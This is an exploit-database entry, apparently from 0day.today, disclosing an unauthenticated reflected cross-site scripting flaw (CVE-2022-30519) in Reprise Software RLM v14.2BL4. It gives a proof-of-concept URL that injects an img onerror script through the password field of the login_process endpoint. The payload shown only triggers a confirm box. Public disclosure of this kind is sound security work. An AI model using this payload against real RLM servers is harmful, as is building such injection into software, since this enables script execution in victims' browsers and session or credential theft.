Lucene search

K
zdtMohammed A.Siledar1337DAY-ID-38425
HistoryApr 02, 2023 - 12:00 a.m.

Reprise Software RLM v14.2BL4 - Cross-Site Scripting Vulnerability

2023-04-0200:00:00
Mohammed A.Siledar
0day.today
73
reprise software rlm
cross-site scripting
cve-2022-30519
windows 10
security vulnerability

0.001 Low

EPSS

Percentile

46.1%

# Exploit Title:  Reprise Software RLM v14.2BL4 - Cross-Site Scripting (XSS)
# Exploit Author: Mohammed A.Siledar
# Author Company : reprisesoftware
# Version: rlm.v14.2BL4
# Vendor home page : https://reprisesoftware.com
# Software Link: https://www.reprisesoftware.com/license_admin_kits/rlm.v14.2BL4-x64_w3.admin.exe
# Authentication Required: No
# CVE : CVE-2022-30519
# Tested on: Windows 10

# Proof Of Concept: 

http://localhost/goform/login_process?username=admin&password=admin%22%3E%3Cimg%20src=x%20onerror=confirm(123)%3E


Best Regards.

0.001 Low

EPSS

Percentile

46.1%